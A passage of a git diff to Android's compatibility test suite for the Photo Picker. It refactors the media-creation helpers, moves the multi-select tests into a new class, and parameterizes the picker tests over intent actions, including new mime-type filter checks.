+import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUris;
+import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.assertThrows;
+
+import android.app.Activity;
+import android.content.ActivityNotFoundException;
+import android.content.ClipData;
+import android.content.Intent;
+import android.net.Uri;
+import android.provider.MediaStore;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.UiObject;
+import androidx.test.uiautomator.UiSelector;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Photo Picker tests for {@link MediaStore#ACTION_PICK_IMAGES} intent exclusively
+ */
+@RunWith(AndroidJUnit4.class)
+public class ActionPickImagesOnlyTest extends PhotoPickerBaseTest {
+
+ private List<Uri> mUriList = new ArrayList<>();
+
+ @After
+ public void tearDown() throws Exception {
+ for (Uri uri : mUriList) {
+ deleteMedia(uri, mContext);
+ }
+ mUriList.clear();
+
+ if (mActivity != null) {
+ mActivity.finish();
+ }
+ }
+
+ @Test
+ public void testMultiSelect_invalidParam() throws Exception {
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit() + 1);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+ final GetResultActivity.Result res = mActivity.getResult();
+ assertThat(res.resultCode).isEqualTo(Activity.RESULT_CANCELED);
+ }
+
+ @Test
+ public void testMultiSelect_invalidNegativeParam() throws Exception {
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, -1);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+ final GetResultActivity.Result res = mActivity.getResult();
+ assertThat(res.resultCode).isEqualTo(Activity.RESULT_CANCELED);
+ }
+
+ @Test
+ public void testMultiSelect_returnsNotMoreThanMax() throws Exception {
+ final int maxCount = 2;
+ final int imageCount = maxCount + 1;
+ mUriList.addAll(createImagesAndGetUris(imageCount, mContext.getUserId()));
+
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, maxCount);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ final List<UiObject> itemList = findItemList(imageCount);
+ final int itemCount = itemList.size();
+ assertThat(itemCount).isEqualTo(imageCount);
+ // Select maxCount + 1 item
+ for (int i = 0; i < itemCount; i++) {
+ clickAndWait(mDevice, itemList.get(i));
+ }
+
+ UiObject snackbarTextView = mDevice.findObject(new UiSelector().text(
+ "Select up to 2 items"));
+ assertWithMessage("Timed out while waiting for snackbar to appear").that(
+ snackbarTextView.waitForExists(SHORT_TIMEOUT)).isTrue();
+
+ assertWithMessage("Timed out waiting for snackbar to disappear").that(
+ snackbarTextView.waitUntilGone(SHORT_TIMEOUT)).isTrue();
+
+ clickAndWait(mDevice, findAddButton());
+
+ final ClipData clipData = mActivity.getResult().data.getClipData();
+ final int count = clipData.getItemCount();
+ assertThat(count).isEqualTo(maxCount);
+ }
+
+ @Test
+ public void testDoesNotRespectExtraAllowMultiple() throws Exception {
+ final int imageCount = 2;
+ mUriList.addAll(createImagesAndGetUris(imageCount, mContext.getUserId()));
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ intent.putExtra(Intent.EXTRA_ALLOW_MULTIPLE, true);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ final List<UiObject> itemList = findItemList(imageCount);
+ final int itemCount = itemList.size();
+ assertThat(itemCount).isEqualTo(imageCount);
+ // Select 1 item
+ clickAndWait(mDevice, itemList.get(0));
+
+ final Uri uri = mActivity.getResult().data.getData();
+ assertPickerUriFormat(uri, mContext.getUserId());
+ assertPersistedGrant(uri, mContext.getContentResolver());
+ assertRedactedReadOnlyAccess(uri);
+ }
+
+ @Test
+ public void testMimeTypeFilter() throws Exception {
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ intent.setType("audio/*");
+ assertThrows(ActivityNotFoundException.class,
+ () -> mActivity.startActivityForResult(intent, REQUEST_CODE));
+ }
+
+ @Test
+ public void testExtraMimeTypeFilter() throws Exception {
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ intent.putExtra(Intent.EXTRA_MIME_TYPES, new String[]{"audio/*"});
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+ final GetResultActivity.Result res = mActivity.getResult();
+ assertThat(res.resultCode).isEqualTo(Activity.RESULT_CANCELED);
+ }
+}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java
index aa0c95459f1..ceaf3b244e9 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java
@@ -21,7 +21,7 @@ import static android.photopicker.cts.PickerProviderMediaGenerator.MediaGenerato
import static android.photopicker.cts.PickerProviderMediaGenerator.setCloudProvider;
import static android.photopicker.cts.PickerProviderMediaGenerator.syncCloudProvider;
import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertRedactedReadOnlyAccess;
-import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImages;
+import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUris;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList;
@@ -120,7 +120,7 @@ public class CloudPhotoPickerTest extends PhotoPickerBaseTest {
@Test
public void testCloudPlusLocalSyncWithoutDedupe() throws Exception {
- createImages(1, mContext.getUserId(), mUriList);
+ mUriList.addAll(createImagesAndGetUris(1, mContext.getUserId()));
initPrimaryCloudProviderWithImage(Pair.create(null, CLOUD_ID1));
final ClipData clipData = fetchPickerMedia(2);
@@ -131,7 +131,7 @@ public class CloudPhotoPickerTest extends PhotoPickerBaseTest {
@Test
public void testCloudPlusLocalSyncWithDedupe() throws Exception {
- createImages(1, mContext.getUserId(), mUriList);
+ mUriList.addAll(createImagesAndGetUris(1, mContext.getUserId()));
initPrimaryCloudProviderWithImage(Pair.create(mUriList.get(0).getLastPathSegment(),
CLOUD_ID1));
@@ -295,7 +295,7 @@ public class CloudPhotoPickerTest extends PhotoPickerBaseTest {
// Create a placeholder local image to ensure that the picker UI is never empty.
// The PhotoPickerUiUtils#findItemList needs to select an item and it times out if the
// Picker UI is empty.
- createImages(1, mContext.getUserId(), mUriList);
+ mUriList.addAll(createImagesAndGetUris(1, mContext.getUserId()));
// Cloud provider isn't set
assertThat(MediaStore.isCurrentCloudMediaProviderAuthority(mContext.getContentResolver(),
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
index 1092406823f..48c1ea16b54 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
@@ -18,7 +18,7 @@ package android.photopicker.cts;
import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPickerUriFormat;
import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertRedactedReadOnlyAccess;
-import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImages;
+import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUris;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton;
@@ -33,6 +33,7 @@ import android.content.Intent;
import android.net.Uri;
import android.provider.MediaStore;
+import androidx.test.filters.LargeTest;
import androidx.test.filters.SdkSuppress;
import androidx.test.uiautomator.UiObject;
import androidx.test.uiautomator.UiSelector;
@@ -55,6 +56,7 @@ import java.util.List;
* Photo Picker Device only tests for cross profile interaction flows.
*/
@RunWith(BedsteadJUnit4.class)
+@LargeTest
public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest {
@ClassRule @Rule
public static final DeviceState sDeviceState = new DeviceState();
@@ -79,7 +81,7 @@ public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest {
@SdkSuppress(minSdkVersion = 32, codeName = "T")
public void testWorkApp_canAccessPersonalProfileContents() throws Exception {
final int imageCount = 2;
- createImages(imageCount, sDeviceState.primaryUser().id(), mUriList);
+ mUriList.addAll(createImagesAndGetUris(imageCount, sDeviceState.primaryUser().id()));
Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, imageCount);
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
index 28051e29fd9..440e47288c2 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
@@ -16,16 +16,20 @@
package android.photopicker.cts;
+import static android.photopicker.cts.util.GetContentActivityAliasUtils.clearPackageData;
+import static android.photopicker.cts.util.GetContentActivityAliasUtils.getDocumentsUiPackageName;
+import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertContainsMimeType;
import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertMimeType;
import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPersistedGrant;
import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPickerUriFormat;
import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertRedactedReadOnlyAccess;
-import static android.photopicker.cts.util.PhotoPickerFilesUtils.createDNGVideos;
-import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImages;
-import static android.photopicker.cts.util.PhotoPickerFilesUtils.createVideos;
+import static android.photopicker.cts.util.PhotoPickerFilesUtils.createDNGVideosAndGetUris;
+import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUris;
+import static android.photopicker.cts.util.PhotoPickerFilesUtils.createVideosAndGetUris;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME;
import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findPreviewAddButton;
@@ -34,35 +38,62 @@ import static android.photopicker.cts.util.PhotoPickerUiUtils.findPreviewAddOrSe
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
-import android.app.Activity;
import android.content.ClipData;
import android.content.Intent;
import android.media.AudioAttributes;
import android.media.AudioFocusRequest;
import android.media.AudioManager;
import android.net.Uri;
+import android.photopicker.cts.util.GetContentActivityAliasUtils;
import android.provider.MediaStore;
-import androidx.test.runner.AndroidJUnit4;
import androidx.test.uiautomator.UiObject;
import androidx.test.uiautomator.UiObjectNotFoundException;
import androidx.test.uiautomator.UiSelector;
import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
import java.util.ArrayList;
+import java.util.Arrays;
import java.util.List;
/**
* Photo Picker Device only tests for common flows.
*/
-@RunWith(AndroidJUnit4.class)
+@RunWith(Parameterized.class)
public class PhotoPickerTest extends PhotoPickerBaseTest {
+
+ @Parameter(0)
+ public String mAction;
+
+ @Parameters(name = "intent={0}")
+ public static Iterable<? extends Object> data() {
+ return getTestParameters();
+ }
+
private List<Uri> mUriList = new ArrayList<>();
+ private static int sGetContentTakeOverActivityAliasState;
+
+ @BeforeClass
+ public static void setUpBeforeClass() throws Exception {
+ sGetContentTakeOverActivityAliasState = GetContentActivityAliasUtils.enableAndGetOldState();
+ clearPackageData(getDocumentsUiPackageName());
+ }
+
+ @AfterClass
+ public static void tearDownAfterClass() throws Exception {
+ GetContentActivityAliasUtils.restoreState(sGetContentTakeOverActivityAliasState);
+ }
+
@After
public void tearDown() throws Exception {
for (Uri uri : mUriList) {
@@ -78,13 +109,13 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
@Test
public void testSingleSelect() throws Exception {
final int itemCount = 1;
- createImages(itemCount, mContext.getUserId(), mUriList);
+ mUriList.addAll(createImagesAndGetUris(itemCount, mContext.getUserId()));
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- mActivity.startActivityForResult(intent, REQUEST_CODE);
+ final Intent intent = new Intent(mAction);
+ launchPhotoPickerForIntent(intent);
final UiObject item = findItemList(itemCount).get(0);
- clickAndWait(item);
+ clickAndWait(mDevice, item);
final Uri uri = mActivity.getResult().data.getData();
assertPickerUriFormat(uri, mContext.getUserId());
@@ -95,19 +126,20 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
@Test
public void testSingleSelectForFavoritesAlbum() throws Exception {
final int itemCount = 1;
- createImages(itemCount, mContext.getUserId(), mUriList, true);
+ mUriList.addAll(createImagesAndGetUris(itemCount, mContext.getUserId(),
+ /* isFavorite */ true));
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- mActivity.startActivityForResult(intent, REQUEST_CODE);
+ final Intent intent = new Intent(mAction);
+ launchPhotoPickerForIntent(intent);
UiObject albumsTab = mDevice.findObject(new UiSelector().text(
"Albums"));
- clickAndWait(albumsTab);
+ clickAndWait(mDevice, albumsTab);
final UiObject album = findItemList(1).get(0);
- clickAndWait(album);
+ clickAndWait(mDevice, album);
final UiObject item = findItemList(itemCount).get(0);
- clickAndWait(item);
+ clickAndWait(mDevice, item);
final Uri uri = mActivity.getResult().data.getData();
assertPickerUriFormat(uri, mContext.getUserId());
@@ -117,18 +149,18 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
@Test
public void testLaunchPreviewMultipleForVideoAlbum() throws Exception {
final int videoCount = 2;
- createVideos(videoCount, mContext.getUserId(), mUriList);
+ mUriList.addAll(createVideosAndGetUris(videoCount, mContext.getUserId()));
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ Intent intent = new Intent(mAction);
intent.setType("video/*");
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
- mActivity.startActivityForResult(intent, REQUEST_CODE);
+ addMultipleSelectionFlag(intent);
+ launchPhotoPickerForIntent(intent);
UiObject albumsTab = mDevice.findObject(new UiSelector().text(
"Albums"));
- clickAndWait(albumsTab);
+ clickAndWait(mDevice, albumsTab);
final UiObject album = findItemList(1).get(0);
- clickAndWait(album);
+ clickAndWait(mDevice, album);
final List<UiObject> itemList = findItemList(videoCount);
final int itemCount = itemList.size();
@@ -136,10 +168,10 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
assertThat(itemCount).isEqualTo(videoCount);
for (int i = 0; i < itemCount; i++) {
- clickAndWait(itemList.get(i));
+ clickAndWait(mDevice, itemList.get(i));
}
- clickAndWait(findViewSelectedButton());
+ clickAndWait(mDevice, findViewSelectedButton());
// Wait for playback to start. This is needed in some devices where playback
// buffering -> ready state takes around 10s.
@@ -150,10 +182,10 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
@Test
public void testSingleSelectWithPreview() throws Exception {
final int itemCount = 1;
- createImages(itemCount, mContext.getUserId(), mUriList);
+ mUriList.addAll(createImagesAndGetUris(itemCount, mContext.getUserId()));
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- mActivity.startActivityForResult(intent, REQUEST_CODE);
+ final Intent intent = new Intent(mAction);
+ launchPhotoPickerForIntent(intent);
final UiObject item = findItemList(itemCount).get(0);
item.longClick();
@@ -161,99 +193,29 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
final UiObject addButton = findPreviewAddOrSelectButton();
assertThat(addButton.waitForExists(1000)).isTrue();
- clickAndWait(addButton);
-
- final Uri uri = mActivity.getResult().data.getData();
- assertPickerUriFormat(uri, mContext.getUserId());
- assertRedactedReadOnlyAccess(uri);
- }
-
- @Test
- public void testMultiSelect_invalidParam() throws Exception {
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit() + 1);
- mActivity.startActivityForResult(intent, REQUEST_CODE);
- final GetResultActivity.Result res = mActivity.getResult();
- assertThat(res.resultCode).isEqualTo(Activity.RESULT_CANCELED);
- }
-
- @Test
- public void testMultiSelect_invalidNegativeParam() throws Exception {
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, -1);
- mActivity.startActivityForResult(intent, REQUEST_CODE);
- final GetResultActivity.Result res = mActivity.getResult();
- assertThat(res.resultCode).isEqualTo(Activity.RESULT_CANCELED);
- }
-
- @Test
- public void testMultiSelect_returnsNotMoreThanMax() throws Exception {
- final int maxCount = 2;
- final int imageCount = maxCount + 1;
- createImages(imageCount, mContext.getUserId(), mUriList);
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, maxCount);
- mActivity.startActivityForResult(intent, REQUEST_CODE);
-
- final List<UiObject> itemList = findItemList(imageCount);
- final int itemCount = itemList.size();
- assertThat(itemCount).isEqualTo(imageCount);
- // Select maxCount + 1 item
- for (int i = 0; i < itemCount; i++) {
- clickAndWait(itemList.get(i));
- }
-
- UiObject snackbarTextView = mDevice.findObject(new UiSelector().text(
- "Select up to 2 items"));
- assertWithMessage("Timed out while waiting for snackbar to appear").that(
- snackbarTextView.waitForExists(SHORT_TIMEOUT)).isTrue();
-
- assertWithMessage("Timed out waiting for snackbar to disappear").that(
- snackbarTextView.waitUntilGone(SHORT_TIMEOUT)).isTrue();
-
- clickAndWait(findAddButton());
-
- final ClipData clipData = mActivity.getResult().data.getClipData();
- final int count = clipData.getItemCount();
- assertThat(count).isEqualTo(maxCount);
- }
-
- @Test
- public void testDoesNotRespectExtraAllowMultiple() throws Exception {
- final int imageCount = 2;
- createImages(imageCount, mContext.getUserId(), mUriList);
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- intent.putExtra(Intent.EXTRA_ALLOW_MULTIPLE, true);
- mActivity.startActivityForResult(intent, REQUEST_CODE);
-
- final List<UiObject> itemList = findItemList(imageCount);
- final int itemCount = itemList.size();
- assertThat(itemCount).isEqualTo(imageCount);
- // Select 1 item
- clickAndWait(itemList.get(0));
+ clickAndWait(mDevice, addButton);
final Uri uri = mActivity.getResult().data.getData();
assertPickerUriFormat(uri, mContext.getUserId());
- assertPersistedGrant(uri, mContext.getContentResolver());
assertRedactedReadOnlyAccess(uri);
}
@Test
public void testMultiSelect() throws Exception {
final int imageCount = 4;
- createImages(imageCount, mContext.getUserId(), mUriList);
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
- mActivity.startActivityForResult(intent, REQUEST_CODE);
+ mUriList.addAll(createImagesAndGetUris(imageCount, mContext.getUserId()));
+ Intent intent = new Intent(mAction);
+ addMultipleSelectionFlag(intent);
+ launchPhotoPickerForIntent(intent);
final List<UiObject> itemList = findItemList(imageCount);
final int itemCount = itemList.size();
assertThat(itemCount).isEqualTo(imageCount);
for (int i = 0; i < itemCount; i++) {
- clickAndWait(itemList.get(i));
+ clickAndWait(mDevice, itemList.get(i));
}
- clickAndWait(findAddButton());
+ clickAndWait(mDevice, findAddButton());
final ClipData clipData = mActivity.getResult().data.getClipData();
final int count = clipData.getItemCount();
@@ -269,18 +231,19 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
@Test
public void testMultiSelect_longPress() throws Exception {
final int videoCount = 3;
- createDNGVideos(videoCount, mContext.getUserId(), mUriList);
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
+ mUriList.addAll(createDNGVideosAndGetUris(videoCount, mContext.getUserId()));
+
+ Intent intent = new Intent(mAction);
intent.setType("video/*");
- mActivity.startActivityForResult(intent, REQUEST_CODE);
+ addMultipleSelectionFlag(intent);
+ launchPhotoPickerForIntent(intent);
final List<UiObject> itemList = findItemList(videoCount);
final int itemCount = itemList.size();
assertThat(itemCount).isEqualTo(videoCount);
// Select one item from Photo grid
- clickAndWait(itemList.get(0));
+ clickAndWait(mDevice, itemList.get(0));
// Preview the item
UiObject item = itemList.get(1);
@@ -292,14 +255,14 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
.that(addOrSelectButton.waitForExists(1000)).isTrue();
// Select the item from Preview
- clickAndWait(addOrSelectButton);
+ clickAndWait(mDevice, addOrSelectButton);
mDevice.pressBack();
// Select one more item from Photo grid
- clickAndWait(itemList.get(2));
+ clickAndWait(mDevice, itemList.get(2));
- clickAndWait(findAddButton());
+ clickAndWait(mDevice, findAddButton());
// Verify that all 3 items are returned
final ClipData clipData = mActivity.getResult().data.getClipData();
@@ -316,19 +279,20 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
@Test
public void testMultiSelect_preview() throws Exception {
final int imageCount = 4;
- createImages(imageCount, mContext.getUserId(), mUriList);
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
- mActivity.startActivityForResult(intent, REQUEST_CODE);
+ mUriList.addAll(createImagesAndGetUris(imageCount, mContext.getUserId()));
+
+ Intent intent = new Intent(mAction);
+ addMultipleSelectionFlag(intent);
+ launchPhotoPickerForIntent(intent);
final List<UiObject> itemList = findItemList(imageCount);
final int itemCount = itemList.size();
assertThat(itemCount).isEqualTo(imageCount);
for (int i = 0; i < itemCount; i++) {
- clickAndWait(itemList.get(i));
+ clickAndWait(mDevice, itemList.get(i));
}
- clickAndWait(findViewSelectedButton());
+ clickAndWait(mDevice, findViewSelectedButton());
// Swipe left three times
swipeLeftAndWait();
@@ -336,10 +300,10 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
swipeLeftAndWait();
// Deselect one item
- clickAndWait(findPreviewSelectedCheckButton());
+ clickAndWait(mDevice, findPreviewSelectedCheckButton());
// Return selected items
- clickAndWait(findPreviewAddButton());
+ clickAndWait(mDevice, findPreviewAddButton());
final ClipData clipData = mActivity.getResult().data.getClipData();
final int count = clipData.getItemCount();
@@ -386,20 +350,20 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
// Test 2: Click Mute Button
// Click to unmute the audio
- clickAndWait(muteButton);
+ clickAndWait(mDevice, muteButton);
waitForBinderCallsToComplete();
// Check that mute button state is unmute, i.e., it shows `volume up` icon
assertMuteButtonState(muteButton, /* isMuted */ false);
// Click on the muteButton and check that mute button status is now 'mute'
- clickAndWait(muteButton);
+ clickAndWait(mDevice, muteButton);
waitForBinderCallsToComplete();
assertMuteButtonState(muteButton, /* isMuted */ true);
// Click on the muteButton and check that mute button status is now unmute
- clickAndWait(muteButton);
+ clickAndWait(mDevice, muteButton);
waitForBinderCallsToComplete();
@@ -408,7 +372,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
// Test 3: Next preview resumes mute state
// Go back and launch preview again
mDevice.pressBack();
- clickAndWait(findViewSelectedButton());
+ clickAndWait(mDevice, findViewSelectedButton());
waitForBinderCallsToComplete();
@@ -444,7 +408,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
// Test 2: Swipe resumes mute state, with state of mute button 'volume up' / 'unmute'
// Click muteButton again to check the next video resumes the previous video's mute state
- clickAndWait(muteButton);
+ clickAndWait(mDevice, muteButton);
waitForBinderCallsToComplete();
@@ -498,7 +462,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
final UiObject muteButton = findMuteButton();
// unmute the audio of video preview
- clickAndWait(muteButton);
+ clickAndWait(mDevice, muteButton);
// Remote video preview involves binder calls
// Wait for Binder calls to complete and device to be idle
@@ -548,7 +512,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
final UiObject playerView = findPlayerView();
// Click on StyledPlayerView to make the video controls visible
- clickAndWait(playerView);
+ clickAndWait(mDevice, playerView);
assertPlayerControlsVisible(playPauseButton, muteButton);
// Wait for 1s and check that controls are still visible
@@ -565,7 +529,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
assertPlayerControlsHidden(playPauseButton, muteButton);
// Click on the StyledPlayerView and check that controls appear
- clickAndWait(playerView);
+ clickAndWait(mDevice, playerView);
assertPlayerControlsVisible(playPauseButton, muteButton);
// Swipe left to check that controls are now visible on swipe
@@ -582,26 +546,26 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
@Test
public void testMimeTypeFilter() throws Exception {
final int videoCount = 2;
- createDNGVideos(videoCount, mContext.getUserId(), mUriList);
+ mUriList.addAll(createDNGVideosAndGetUris(videoCount, mContext.getUserId()));
final int imageCount = 1;
- createImages(imageCount, mContext.getUserId(), mUriList);
+ mUriList.addAll(createImagesAndGetUris(imageCount, mContext.getUserId()));
final String mimeType = "video/dng";
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
+ Intent intent = new Intent(mAction);
+ addMultipleSelectionFlag(intent);
intent.setType(mimeType);
- mActivity.startActivityForResult(intent, REQUEST_CODE);
+ launchPhotoPickerForIntent(intent);
// find all items
final List<UiObject> itemList = findItemList(-1);
final int itemCount = itemList.size();
assertThat(itemCount).isAtLeast(videoCount);
for (int i = 0; i < itemCount; i++) {
- clickAndWait(itemList.get(i));
+ clickAndWait(mDevice, itemList.get(i));
}
- clickAndWait(findAddButton());
+ clickAndWait(mDevice, findAddButton());
final ClipData clipData = mActivity.getResult().data.getClipData();
final int count = clipData.getItemCount();
@@ -615,6 +579,89 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
}
}
+ @Test
+ public void testExtraMimeTypeFilter() throws Exception {
+ final int dngVideoCount = 2;
+ // Creates 2 videos with mime type: "video/dng"
+ mUriList.addAll(createDNGVideosAndGetUris(dngVideoCount, mContext.getUserId()));
+
+ final int mp4VideoCount = 3;
+ // Creates 3 videos with mime type: "video/mp4"
+ mUriList.addAll(createVideosAndGetUris(mp4VideoCount, mContext.getUserId()));
+
+ final int imageCount = 4;
+ // Creates 4 images with mime type: "image/dng"
+ mUriList.addAll(createImagesAndGetUris(imageCount, mContext.getUserId()));
+
+ Intent intent = new Intent(mAction);
+ addMultipleSelectionFlag(intent);
+
+ if (Intent.ACTION_GET_CONTENT.equals(intent.getAction())) {
+ intent.setType("*/*");
+ }
+ final String[] mimeTypes = new String[]{"video/dng", "image/dng"};
+ intent.putExtra(Intent.EXTRA_MIME_TYPES, mimeTypes);
+ launchPhotoPickerForIntent(intent);
+
+ final int totalCount = dngVideoCount + imageCount;
+ final List<UiObject> itemList = findItemList(totalCount);
+ final int itemCount = itemList.size();
+ assertThat(itemCount).isAtLeast(totalCount);
+ for (int i = 0; i < itemCount; i++) {
+ clickAndWait(mDevice, itemList.get(i));
+ }
+
+ clickAndWait(mDevice, findAddButton());
+
+ final ClipData clipData = mActivity.getResult().data.getClipData();
+ assertWithMessage("Expected number of items returned to be: " + itemCount)
+ .that(clipData.getItemCount()).isEqualTo(itemCount);
+ for (int i = 0; i < itemCount; i++) {
+ final Uri uri = clipData.getItemAt(i).getUri();
+ assertPickerUriFormat(uri, mContext.getUserId());
+ assertPersistedGrant(uri, mContext.getContentResolver());
+ assertRedactedReadOnlyAccess(uri);
+ assertContainsMimeType(uri, mimeTypes);
+ }
+ }
+
+ @Test
+ public void testMimeTypeFilterPriority() throws Exception {
+ final int videoCount = 2;
+ mUriList.addAll(createDNGVideosAndGetUris(videoCount, mContext.getUserId()));
+ final int imageCount = 1;
+ mUriList.addAll(createImagesAndGetUris(imageCount, mContext.getUserId()));
+
+ Intent intent = new Intent(mAction);
+ addMultipleSelectionFlag(intent);
+ // setType has lower priority than EXTRA_MIME_TYPES filters.
+ intent.setType("image/*");
+ final String mimeType = "video/dng";
+ intent.putExtra(Intent.EXTRA_MIME_TYPES, new String[] {mimeType});
+ launchPhotoPickerForIntent(intent);
+
+ // find all items
+ final List<UiObject> itemList = findItemList(-1);
+ final int itemCount = itemList.size();
+ assertThat(itemCount).isAtLeast(videoCount);
+ for (int i = 0; i < itemCount; i++) {
+ clickAndWait(mDevice, itemList.get(i));
+ }
+
+ clickAndWait(mDevice, findAddButton());
+
